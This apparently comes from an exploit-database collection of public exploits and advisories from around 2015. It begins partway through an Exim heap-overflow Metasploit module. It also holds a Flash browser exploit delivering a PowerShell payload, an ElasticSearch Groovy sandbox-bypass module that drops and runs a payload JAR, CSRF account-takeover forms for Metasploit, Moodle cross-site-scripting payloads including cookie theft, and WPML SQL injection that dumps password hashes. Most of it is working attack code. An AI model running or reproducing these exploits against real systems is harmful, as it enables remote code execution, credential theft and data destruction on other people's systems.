    min_heap_addr = nil
    survived = nil

    # we later fill log_buffer and big_buffer with alpha chars,
    # which creates a safe-zone at the beginning of the heap,
    # where we can't possibly crash during our brute-force

    # 4, because 3 copies of sender_helo_name, and step_len;
    # start big, but refine little by little in case
    # we crash because we overwrite important data

    helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
    loop do

      sender_helo_name = "A" * helo_len
      address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)

      # the 3 copies of sender_helo_name, allocated by
      # host_build_sender_fullhost() in POOL_PERM memory

      helo_ip_size = ALIGNMENT +
        sender_helo_name[+1..-2].length

      sender_fullhost_size = ALIGNMENT +
        sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length

      sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
        sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
        sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
      ).length

      # fit completely into the safe-zone
      step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
        (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
      loop do

        # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
        # with alpha chars, which creates another safe-zone at the end of the heap)
        heap_addr = max_heap_addr
        loop do

          # try harder the first time around: we obtain better
          # heap boundaries, and we usually hit our ACL faster

          (min_heap_addr ? 1 : 2).times do

            # try the same heap_addr several times, but with different random offsets,
            # in case we crash because our hijacked storeblock's length field is too small
            # (we don't control what's stored at heap_addr)

            rand_offset = rand(max_rand_offset)
            print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
            reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
            print_debug("#{{ reply: reply }}") if reply

            if reply and
               reply[:code] == "550" and
               # detect the parsed ACL, not the "still in text form" ACL (with "=")
               reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
              print_good("Brute-force SUCCESS")
              print_good("Please wait for reply...")
              # execute command this time, not acldrop
              reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
              print_debug("#{{ reply: reply }}")
              return handler
            end

            if not min_heap_addr
              if reply
                fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
                survived = heap_addr
              else
                if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
                  # survived should point to our safe-zone at the beginning of the heap
                  fail_with("codeexec", "never survived") if not survived
                  print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
                  min_heap_addr = survived
                end
              end
            end
          end

          heap_addr -= step_len
          break if min_heap_addr and heap_addr < min_heap_addr
        end

        break if step_len < 1024
        step_len /= 2
      end

      helo_len /= 2
      break if helo_len < 1024
      # ^ otherwise the 3 copies of sender_helo_name will
      # fit into the current_block of POOL_PERM memory
    end
    fail_with("codeexec", "Brute-force FAILURE")
  end

  # our write-what-where primitive
  def try_code_execution(len, what, where)
    fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
    fail_with("codeexec", "#{where} < 0") if where < 0

    x86 = (@leaked[:arch] == ARCH_X86)
    min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
    heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
    last_digit = 1 + rand(9)

    smtp_connect

    # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
    smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
             "501 : sender address must contain a domain\r\n\0".length)
    smtp_recv(501, 'sender address must contain a domain')

    smtp_send("RSET")
    smtp_recv(250)

    # bulletproof Heap Feng Shui; the hard part is avoiding:
    # "Too many syntax or protocol errors" (3)
    # "Too many unrecognized commands" (3)
    # "Too many nonmail commands" (10)

    # / 5, because "\x7F" is non-print, and:
    # ss = store_get(length + nonprintcount * 4 + 1);
    smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
    smtp_recv(250)

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
    smtp_recv(250)

    smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
    smtp_recv(500, '\A500 unrecognized command\r\n\z')

    smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
    smtp_recv(250)

    # overflow (3 bytes) gethostbyname's buffer, and
    # overwrite its next_chunk's size field with 0x003?31
                                                    # ^ last_digit
    smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
    smtp_recv(HELO_CODES)       # ^ 0x30 | PREV_INUSE

    # auth_xtextdecode() is the only way to overwrite the beginning of a
    # current_block of memory (the "storeblock" structure) with arbitrary data
    # (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
    # this shapes the rest of our exploit: we overwrite the beginning of the
    # current_block of POOL_PERM memory with the current_block of POOL_MAIN
    # memory (allocated by auth_xtextdecode()).

    auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
    (x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
    auth_prefix += "."

    # also fill log_buffer with alpha chars
    smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
    smtp_recv(501, 'invalid data for AUTH')

    smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
    begin
      reply = smtp_recv(ANY_CODE)
      return reply if reply[:code] !~ /#{HELO_CODES}/
      return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/

      smtp_send("MAIL FROM:<>")
      reply = smtp_recv(ANY_CODE)
      return reply if reply[:code] != "250"

      smtp_send("RCPT TO:<postmaster>")
      reply = smtp_recv
      return reply

    rescue
      return nil
    end

  ensure
    smtp_disconnect
  end

  DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
  DOT = '[.]'

  def smtp_connect(exploiting = true)
    fail_with("smtp_connect", "sock isn't nil") if sock

    connect
    fail_with("smtp_connect", "sock is nil") if not sock
    @smtp_state = :recv

    banner = smtp_recv(220)
    return if not exploiting

    sender_host_address = datastore['SENDER_HOST_ADDRESS']
    if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
    end
    sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"

    # turn helo_seen on (enable the MAIL command)
    # call smtp_verify_helo() (force fopen() and small malloc()s)
    # call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
    smtp_send("HELO #{sender_host_address_octal}")
    reply = smtp_recv(HELO_CODES)

    if reply[:code] != "250"
      fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
    end

    if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
      smtp_active_hostname = $1
      sender_host_name = $2

      if sender_host_name =~ /\A(.*) at (\S*)\z/mn
        sender_host_name = $2
        sender_ident = $1
      else
        sender_ident = nil
      end
      fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal

    else
      # can't double-check sender_host_address here, so only for advanced users
      fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING']
      # worst-case scenario
      smtp_active_hostname = "A" * NS_MAXDNAME
      sender_host_name = "A" * NS_MAXDNAME
      sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
    end

    _sender = @sender
    @sender = {
      hostaddr: sender_host_address,
      hostaddr8: sender_host_address_octal,
      hostname: sender_host_name,
      ident: sender_ident,
      __smtp_active_hostname: smtp_active_hostname
    }
    fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender

    # avoid a future pathological case by forcing it now:
    # "Do NOT free the first successor, if our current block has less than 256 bytes left."
    smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
    smtp_recv(501, 'sender address must contain a domain')

    smtp_send("RSET")
    smtp_recv(250, 'Reset OK')
  end

  def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
    fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
    @smtp_state = :sending

    if not arg_pattern
      fail_with("smtp_send", "prefix is nil") if not prefix
      fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
      command = prefix

    else
      fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
      length = arg_length - arg_prefix.length - arg_suffix.length
      fail_with("smtp_send", "len is #{length}") if length <= 0
      argument = arg_prefix
      case arg_pattern
      when String
        argument += arg_pattern * (length / arg_pattern.length)
        argument += arg_pattern[0, length % arg_pattern.length]
      when Method
        argument += arg_pattern.call(length)
      end
      argument += arg_suffix
      fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
      command = prefix + argument + suffix
    end

    fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
    fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
    command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer

    # the following loop works around a bug in the put() method:
    # "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
    # (or send_idx and/or send_len could be removed altogether, like here)

    while command and not command.empty?
      num_sent = sock.put(command)
      fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
      fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
      command = command[num_sent..-1]
    end

    @smtp_state = :recv
  end

  def smtp_recv(expected_code = nil, expected_data = nil)
    fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
    @smtp_state = :recving

    failure = catch(:failure) do

      # parse SMTP replies very carefully (the information
      # leak injects arbitrary data into multiline replies)

      data = ""
      while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
        begin
          more_data = sock.get_once
        rescue
          throw(:failure, "Caught #{$!.class}: #{$!.message}")
        end
        throw(:failure, "no more data") if more_data.nil?
        throw(:failure, "no more data") if more_data.empty?
        data += more_data
      end

      throw(:failure, "malformed reply (count)") if data.count("\0") > 0
      lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
      throw(:failure, "malformed reply (empty)") if lines.empty?

      code = nil
      lines.size.times do |i|
        lines[i].sub!(/\A\r\n/mn, "")
        lines[i] += "\r\n"

        if i == 0
          code = lines[i][0,3]
          throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
          if expected_code and code !~ /\A(#{expected_code})\z/mn
            throw(:failure, "unexpected #{code}, expected #{expected_code}")
          end
        end

        line_begins_with = lines[i][0,4]
        line_should_begin_with = code + (i == lines.size-1 ? " " : "-")

        if line_begins_with != line_should_begin_with
          throw(:failure, "line begins with #{line_begins_with}, " \
                          "should begin with #{line_should_begin_with}")
        end
      end

      throw(:failure, "malformed reply (join)") if lines.join("") != data
      if expected_data and data !~ /#{expected_data}/mn
        throw(:failure, "unexpected data")
      end

      reply = { code: code, lines: lines }
      @smtp_state = :send
      return reply
    end

    fail_with("smtp_recv", "#{failure}") if expected_code
    return nil
  end

  def smtp_disconnect
    disconnect if sock
    fail_with("smtp_disconnect", "sock isn't nil") if sock
    @smtp_state = :disconnected
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  CLASSID =  'd27cdb6e-ae6d-11cf-96b8-444553540000'

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player PCRE Regex Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
        in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
        a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mark Brand', # Found vuln
          'sinn3r'      # MSF
        ],
      'References'     =>
        [
          [ 'CVE', '2015-0318' ],
          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
        ],
      'Payload'        =>
        {
          'Space' => 1024,
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'Retries' => true
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{#{CLASSID}}",
          :method  => "LoadMovie",
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          # Ohter versions are vulnerable but .235 is the one that works for me pretty well
          # So we're gonna limit to this one for now. More validation needed in the future.
          :flash   => lambda { |ver| ver == '16.0.0.235' }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 25 2014",
      'DefaultTarget'  => 0))
  end

  def exploit
    # Please see data/exploits/CVE-2015-0318/ for source,
    # that's where the actual exploit is
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
    swf = ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end
            
# Exploit Title: Metasploit Project initial User Creation CSRF
# Google Dork: N/A
# Date: 14-2-2015
# Exploit Author: Mohamed Abdelbaset Elnoby (@SymbianSyMoh)
# Vendor Homepage: http://www.metasploit.com/
# Software Link:
http://www.rapid7.com/products/metasploit/editions-and-features.jsp
# Version: Free/Pro < 4.11.1 (Update 2015021901)
# Tested on: All OS
# CVE : N/A

Vulnerability:
Cross Site Request Forgery - (CSRF)

Info:
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

More Details:
After doing some research, i have found that the anti csrf token
"authenticity_token" value is not validated from the local server side
which will result in a more csrf attack scenario around the whole local
metasploit project.

Affected URL(s)/PoC Code(s):
-Change Local Metasploit Project User Settings
<html>
<body>
<form action="https://127.0.0.1:3790/users/1" method="POST">
<input type="hidden" name="utf8" value="✓" />
<input type="hidden" name="_method" value="put" />
<input type="hidden" name="authenticity_token" value="" />
<input type="hidden" name="user[fullname]" value="Attacker" />
<input type="hidden" name="user[email]" value="EMAIL" />
<input type="hidden" name="user[company]" value="COMPANY" />
<input type="hidden" name="user[time_zone]" value="Cairo" />
<input type="hidden" name="commit" value="Save Settings" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

-Full Local Metasploit Project Account Takeover before setting up the first
user settings
<html>
<body>
<form action="https://127.0.0.1:3790/users" method="POST">
<input type="hidden" name="utf8" value="✓" />
<input type="hidden" name="authenticity_token" value="" />
<input type="hidden" name="user[username]" value="Username" />
<input type="hidden" name="user[password]" value="PASSWORD" />
<input type="hidden" name="user[password_confirmation]"
value="PASSWORD" />
<input type="hidden" name="user[fullname]" value="FUll_Name" />
<input type="hidden" name="user[email]" value="EMAIL" />
<input type="hidden" name="user[company]" value="COMPANY" />
<input type="hidden" name="user[time_zone]" value="Cairo" />
<input type="hidden" name="commit" value="Create Account" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>


More Details/Impact:
-Change Local Metasploit Project User Settings
-Full Local Metasploit Project Account Takeover before setting up the first
user settings

Report Timeline:
[-] 14/02/2015: Reported to Rapid7 Security Team
[-] 14/02/2015: Initial Reply from HD Moore acknowledging the vulnerability
[-] 17/02/2015: Reply from "Eray Yilmaz" about the Operation and public
disclosure rules
[-] 20/02/2015: Reply from "Eray Yilmaz" about releasing a patch for the
vulnerability in place, Fixed in Update 4.11.1 (Update 2015021901),
https://community.rapid7.com/docs/DOC-3010
[-] 16/03/2015: Public Disclosure

Thanks

-- 
*Best Regards**,**,*


*Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist
& Bug Bounty Hunter.
LinkedIn
<https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae
<http://goo.gl/cNrVpL>
<https://www.linkedin.com/in/symbiansymoh>Facebook
<https://fb.com/symbiansymoh>Twitter
<https://twitter.com/symbiansymoh>
            

Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting


Vendor: Moodle Pty Ltd
Product web page: https://www.moodle.org
Affected version: 2.8.3, 2.7.5, 2.6.8 and 2.5.9

Summary: Moodle is a learning platform designed to provide
educators, administrators and learners with a single robust,
secure and integrated system to create personalised learning
environments.

Desc: Moodle suffers from persistent XSS vulnerabilities. Input
passed to the POST parameters 'config_title' and 'title' thru
index.php, are not properly sanitized allowing the attacker to
execute HTML or JS code into user's browser session on the affected
site. Affected components: Blocks, Glossary, RSS and Tags.

Tested on: nginx
           PHP/5.4.22


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5236
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5236.php

Vendor Advisory ID: MSA-15-0013
Vendor Advisory URL: https://moodle.org/mod/forum/discuss.php?d=307383

CVE ID: CVE-2015-2269
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2269


09.02.2015

--


Random Glossary Entry
---------------------

POST http://WEB/my/index.php HTTP/1.1


_qf__block_glossary_random_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=304
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_addentry=test
config_invisible=test2
config_refresh=0
config_showconcept=1
config_title=" onmouseover=prompt("XSS1") >
config_type=0
config_viewglossary=test3
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes


Remote RSS Feeds
----------------

POST http://WEB/my/index.php HTTP/1.1


_qf__block_rss_client_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=312
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_block_rss_client_show_channel_image=0
config_block_rss_client_show_channel_link=0
config_display_description=0
config_rssid=_qf__force_multiselect_submission
config_rssid[]=3
config_shownumentries=11
config_title=" onmouseover=prompt("XSS2") >
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes


Tags
----

POST http://WEB/my/index.php HTTP/1.1


_qf__block_tags_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=313
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_numberoftags=80
config_tagtype=
config_title=Tags" onmouseover=prompt("XSS3") >
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes


Older not supported versions
----------------------------

POST http://WEB/blog/index.php HTTP/1.1

blockaction=config
filterselect=1343
filtertype=user
instanceid=4992
numberoftags=20
sesskey=0QCG5LQz0Q
sort=name
timewithin=90
title=ZSL"><script>alert(document.cookie);</script>
            

Spybot Search & Destroy 1.6.2 Security Center Service Privilege Escalation


Vendor: Safer-Networking Ltd.
Product web page: http://www.safer-networking.org
Affected version: 1.6.2

Summary: Spybot – Search & Destroy (S&D) is a spyware and adware removal
computer program compatible with Microsoft Windows 95 and later. It scans
the computer hard disk and/or RAM for malicious software.

Desc: The application suffers from an unquoted search path issue impacting
the service 'SBSDWSCService' for Windows deployed as part of Spybot S&D.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. A
successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user’s code would execute with the elevated privileges
of the application.

Tested on: Microsoft Windows Ultimate 7 SP1 (EN)


Vulnerability discovered by Aljaz Ceru
                            aljaz@insec.si


Advisory ID: ZSL-2015-5237
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5237.php


17.02.2015

---


C:\Users\user>sc qc SBSDWSCService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SBSDWSCService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Spybot - Search & Destroy\SDWinSec.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : SBSD Security Center Service
        DEPENDENCIES       : wscsvc
        SERVICE_START_NAME : LocalSystem

C:\Users\user>
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ElasticSearch Search Groovy Sandbox Bypass',
      'Description'    => %q{
        This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
        exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
        REST API, which does not require authentication, where the search function allows
        groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
        to reference arbitrary classes. It can be used to execute arbitrary Java code. This
        module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
      },
      'Author'         =>
        [
          'Cameron Morris', # Vulnerability discovery
          'Darren Martyn', # Public Exploit
          'juan vazquez'   # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-1427'],
          ['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
          ['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
          ['URL', 'http://drops.wooyun.org/papers/5107']
        ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          ['ElasticSearch 1.4.2', {}]
        ],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget' => 0))

      register_options(
        [
          Opt::RPORT(9200),
          OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
        ], self.class)
  end

  def check
    result = Exploit::CheckCode::Safe

    if vulnerable?
      result = Exploit::CheckCode::Vulnerable
    end

    result
  end

  def exploit
    print_status("#{peer} - Checking vulnerability...")
    unless vulnerable?
      fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
    end

    print_status("#{peer} - Discovering TEMP path...")
    res = execute(java_tmp_dir)
    tmp_dir = parse_result(res)
    if tmp_dir.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
    else
      print_good("#{peer} - TEMP path on '#{tmp_dir}'")
    end

    print_status("#{peer} - Discovering remote OS...")
    res = execute(java_os)
    os = parse_result(res)
    if os.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
    else
      print_good("#{peer} - Remote OS is '#{os}'")
    end

    if os =~ /win/i
      tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
    else
      tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
    end

    register_files_for_cleanup(tmp_file)

    print_status("#{peer} - Trying to load metasploit payload...")
    java = java_load_class(os, tmp_file)
    execute(java)
  end

  def vulnerable?
    java = 'java.lang.Math.class.forName("java.lang.Runtime")'

    vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
    res = execute(java)
    result = parse_result(res)

    if result.nil?
      vprint_status("#{peer} - no response to test")
      return false
    elsif result == 'class java.lang.Runtime'
      return true
    end

    false
  end

  def parse_result(res)
    unless res
      vprint_error("#{peer} - No response")
      return nil
    end

    unless res.code == 200 && res.body
      vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
      return nil
    end

    begin
      json = JSON.parse(res.body.to_s)
    rescue JSON::ParserError
      return nil
    end

    begin
      result = json['hits']['hits'][0]['fields']['msf_result']
    rescue
      return nil
    end

    result.is_a?(::Array) ? result.first : result
  end

  def java_tmp_dir
    'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
  end

  def java_os
    'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
  end

  def java_load_class(os, tmp_file)
    if os =~ /win/i
      tmp_file.gsub!(/\\/, '\\\\\\\\')
    end

    java = [
      'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
      'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
      "i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
      'b64_i=b64.newInstance();',
      "i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
      'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
      'file_class=java.lang.Math.class.forName("java.io.File");',
      "file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
      'loader=loader_class.newInstance();',
      'loader.addURL(file_url);',
      'm=loader.loadClass(\'metasploit.Payload\');',
      'm.main(null);'
    ]

    java.join
  end

  def execute(java, timeout = 20)
    payload = {
      "size" => 1,
      "query" => {
        "filtered" => {
          "query" => {
            "match_all" => {}
          }
        }
      },
      "script_fields" => {
        "msf_result" => {
          "script" => java
        }
      }
    }

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path.to_s, "_search"),
      'method' => 'POST',
      'data'   => JSON.generate(payload)
    }, timeout)

    res
  end

end
            
OVERVIEW
==========

WPML is the industry standard for creating multi-lingual WordPress
sites. Three vulnerabilities were found in the plug-in. The most
serious of them, an SQL injection problem, allows anyone to read the
contents of the WordPress database, including user details and
password hashes, without authentication.

System administrators should update to version 3.1.9.1 released
earlier this week to resolve the issues.



DETAILS
========

1. SQL injection

When WPML processed a HTTP POST request containing the parameter
”action=wp-link-ajax”, the current language is determined by parsing
the HTTP referer. The parsed language code is not checked for
validity, nor SQL-escaped. The user doesn’t need to be logged in.

By sending a carefully crafted referer value with the mentioned POST
request parameter, an attacker can perform SQL queries on arbitrary
tables and retrieve their results. In addition to the standard
WordPress database and tables, the attacker may query all other
databases and tables accessible to the web backend.

The following HTML snippet demonstrates the vulnerability:

<script>
var union="select
user_login,1,user_email,2,3,4,5,6,user_pass,7,8,9,10,11,12 from
wp_users";
if (document.location.search.length < 2)
        document.location.search="lang=xx' UNION "+union+" -- -- ";
</script>

<form method=POST action="https://YOUR.WORDPRESS.BLOG/comments/feed">
<input type=hidden name=action value="wp-link-ajax">
<input type=submit>
</form>

The results of the SQL query will be shown in the comments feed XML-formatted.



2. Page/post/menu deletion

WPML contains a ”menu sync” function which helps site administrators
to keep WordPress menus consistent across different languages. This
functionality lacked any access control, allowing anyone to delete
practically all content of the website - posts, pages, and menus.

Example:

<form method=POST
action="https://YOUR.WORDPRESS.BLOG/?page=sitepress-multilingual-cms/menu/menus-sync.php">
<input type=hidden name="action" value="icl_msync_confirm">
<input type=text name="sync" size=50 value="del[x][y][12345]=z">
<input type=submit>
</form>

